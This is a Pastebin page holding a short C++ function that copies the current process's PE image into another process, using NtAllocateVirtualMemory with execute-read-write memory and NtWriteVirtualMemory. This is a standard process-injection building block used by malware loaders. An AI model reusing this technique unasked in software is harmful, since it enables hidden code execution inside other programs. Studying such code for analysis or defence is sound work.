Advertisement
Guest User

Untitled

a guest
Jun 24th, 2017
66
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 0.56 KB | None | 0 0
  1. // copy pe image on lpbase from current process to dwpid on the same address
  2. BOOL engine_CopyImageToProcess(HANDLE hProcess,LPVOID lpBase)
  3. {
  4.     DWORD dwSize,dwFree=0;
  5.     LPVOID lpNew=lpBase;
  6.    
  7.     // get PE size
  8.     dwSize=engine_GetPEImageSize(lpBase);
  9.  
  10.     if (!NT_SUCCESS(NtAllocateVirtualMemory(hProcess,&lpNew,0,&dwSize,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE)))
  11.         return FALSE;
  12.  
  13.     if (!NT_SUCCESS(NtWriteVirtualMemory(hProcess,lpNew,lpBase,dwSize,NULL)))
  14.     {
  15.         NtFreeVirtualMemory(hProcess,&lpNew,&dwFree,MEM_RELEASE);
  16.         return FALSE;
  17.     }
  18.  
  19.     return TRUE;
  20. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement